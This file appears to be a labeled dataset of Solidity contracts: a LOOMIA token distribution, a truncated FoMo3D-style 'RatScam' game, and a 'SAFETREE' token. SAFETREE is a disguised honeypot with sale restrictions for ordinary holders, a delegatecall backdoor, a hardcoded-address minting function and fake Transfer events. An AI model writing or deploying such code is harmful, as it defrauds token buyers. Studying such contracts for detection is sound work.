emit Transfer(guy, address(0), wad);
}
} | 1 | 4,371 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
pragma solidity ^0.4.24;
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity ^0.4.24;
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
pragma solidity ^0.4.24;
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
constructor(
ERC20Basic _token,
address _beneficiary,
uint256 _releaseTime
)
public
{
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(address(this));
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
pragma solidity ^0.4.24;
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic _token) public {
uint256 unreleased = releasableAmount(_token);
require(unreleased > 0);
released[_token] = released[_token].add(unreleased);
_token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic _token) public onlyOwner {
require(revocable);
require(!revoked[_token]);
uint256 balance = _token.balanceOf(address(this));
uint256 unreleased = releasableAmount(_token);
uint256 refund = balance.sub(unreleased);
revoked[_token] = true;
_token.safeTransfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic _token) public view returns (uint256) {
return vestedAmount(_token).sub(released[_token]);
}
function vestedAmount(ERC20Basic _token) public view returns (uint256) {
uint256 currentBalance = _token.balanceOf(address(this));
uint256 totalBalance = currentBalance.add(released[_token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[_token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
pragma solidity ^0.4.24;
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
pragma solidity ^0.4.24;
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
pragma solidity ^0.4.24;
contract TileToken is StandardToken {
string public constant NAME = "LOOMIA TILE";
string public constant SYMBOL = "TILE";
uint8 public constant DECIMALS = 18;
uint256 public totalSupply = 109021227 * 1e18;
constructor() public {
balances[msg.sender] = totalSupply;
}
}
pragma solidity ^0.4.24;
contract TileDistribution is Ownable {
using SafeMath for uint256;
uint256 public constant VESTING_DURATION = 2 * 365 days;
uint256 public constant VESTING_START_TIME = 1504224000;
uint256 public constant VESTING_CLIFF = 26 weeks;
uint256 public constant TIMELOCK_DURATION = 365 days;
address public constant LOOMIA1_ADDR = 0x1c59Aa1ec35Cfcc222B0e860066796Ccddbe10c8;
address public constant LOOMIA2_ADDR = 0x4c728E555E647214D834E4eBa37844424C0b7eFD;
address public constant LOOMIA_LOOMIA_REMAINDER_ADDR = 0x8b91Eaa35E694524274178586aCC7701CC56cd35;
address public constant BRANDS_ADDR = 0xe4D876bf0b67Bf4547DD6c55559097cC62058726;
address public constant ADVISORS_ADDR = 0x886E7DE436df0fA4593a8534b798995624DB5837;
address public constant THIRD_PARTY_LOCKUP_ADDR = 0x03a41aD81834E8831fFc65CdC3F61Cf04A31806E;
uint256 public constant LOOMIA1 = 3270636.80 * 1e18;
uint256 public constant LOOMIA2 = 3270636.80 * 1e18;
uint256 public constant LOOMIA_REMAINDER = 9811910 * 1e18;
uint256 public constant BRANDS = 10902122.70 * 1e18;
uint256 public constant ADVISORS = 5451061.35 * 1e18;
uint256 public constant THIRD_PARTY_LOCKUP = 5451061.35 * 1e18;
ERC20Basic public token;
address[3] public tokenVestingAddresses;
address public tokenTimelockAddress;
event AirDrop(address indexed _beneficiaryAddress, uint256 _amount);
modifier validAddressAmount(address _beneficiaryWallet, uint256 _amount) {
require(_beneficiaryWallet != address(0));
require(_amount != 0);
_;
}
constructor () public {
token = createTokenContract();
createVestingContract();
createTimeLockContract();
}
function () external payable {
revert();
}
function batchDistributeTokens(address[] _beneficiaryWallets, uint256[] _amounts) external onlyOwner {
require(_beneficiaryWallets.length == _amounts.length);
for (uint i = 0; i < _beneficiaryWallets.length; i++) {
distributeTokens(_beneficiaryWallets[i], _amounts[i]);
}
}
function distributeTokens(address _beneficiaryWallet, uint256 _amount) public onlyOwner validAddressAmount(_beneficiaryWallet, _amount) {
token.transfer(_beneficiaryWallet, _amount);
emit AirDrop(_beneficiaryWallet, _amount);
}
function createVestingContract() private {
TokenVesting newVault = new TokenVesting(
LOOMIA1_ADDR, VESTING_START_TIME, VESTING_CLIFF, VESTING_DURATION, false);
tokenVestingAddresses[0] = address(newVault);
token.transfer(address(newVault), LOOMIA1);
TokenVesting newVault2 = new TokenVesting(
LOOMIA2_ADDR, VESTING_START_TIME, VESTING_CLIFF, VESTING_DURATION, false);
tokenVestingAddresses[1] = address(newVault2);
token.transfer(address(newVault2), LOOMIA2);
TokenVesting newVault3 = new TokenVesting(
LOOMIA_LOOMIA_REMAINDER_ADDR, VESTING_START_TIME, VESTING_CLIFF, VESTING_DURATION, false);
tokenVestingAddresses[2] = address(newVault3);
token.transfer(address(newVault3), LOOMIA_REMAINDER);
}
function createTimeLockContract() private {
TokenTimelock timelock = new TokenTimelock(token, THIRD_PARTY_LOCKUP_ADDR, now.add(TIMELOCK_DURATION));
tokenTimelockAddress = address(timelock);
token.transfer(tokenTimelockAddress, THIRD_PARTY_LOCKUP);
}
function createTokenContract() private returns (ERC20Basic) {
return new TileToken();
}
} | 1 | 3,203 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SAFETREE {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,001 |
pragma solidity ^0.4.24;
contract RSEvents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularRatScam is RSEvents {}
contract RatScam is modularRatScam {
using SafeMath for *;
using NameFilter for string;
using RSKeysCalc for uint256;
RatInterfaceForForwarder constant private RatKingCorp = RatInterfaceForForwarder(0xe7c3101745b3dd71228006084dccb619340f8390);
RatBookInterface constant private RatBook = RatBookInterface(0xf5c4a2c3a92a8450899d064074cec29a9756c95d);
string constant public name = "RatScam Round #1";
string constant public symbol = "RS1";
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => RSdatasets.Player) public plyr_;
mapping (uint256 => RSdatasets.PlayerRounds) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
RSdatasets.Round public round_;
uint256 public fees_ = 60;
uint256 public potSplit_ = 45;
constructor()
public
{
}
modifier isActivated() {
require(activated_ == true, "its not ready yet");
_;
}
modifier isHuman() {
require(msg.sender == tx.origin);
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "too little money");
require(_eth <= 100000000000000000000000, "too much money");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, _eventData_);
}
function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
buyCore(_pID, _affCode, _eventData_);
}
function buyXaddr(address _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function buyXname(bytes32 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_.end && round_.ended == false && round_.plyr != 0)
{
RSdatasets.EventReturns memory _eventData_;
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit RSEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _now = now;
if (_now < round_.end)
if (_now > round_.strt + rndGap_)
return( (round_.end).sub(_now) );
else
return( (round_.strt + rndGap_).sub(_now));
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
if (now > round_.end && round_.ended == false && round_.plyr != 0)
{
if (round_.plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_.pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID)
private
view
returns(uint256)
{
return( ((((round_.mask).add(((((round_.pot).mul(potSplit_)) / 100).mul(1000000000000000000)) / (round_.keys))).mul(plyrRnds_[_pID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256)
{
return
(
round_.keys,
round_.end,
round_.strt,
round_.pot,
round_.plyr,
plyr_[round_.plyr].addr,
plyr_[round_.plyr].name,
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)),
plyr_[_pID].aff,
plyrRnds_[_pID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
{
core(_pID, msg.value, _affID, _eventData_);
} else {
if (_now > round_.end && round_.ended == false)
{
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, RSdatasets.EventReturns memory _eventData_)
private
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_pID, _eth, _affID, _eventData_);
} else if (_now > round_.end && round_.ended == false) {
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
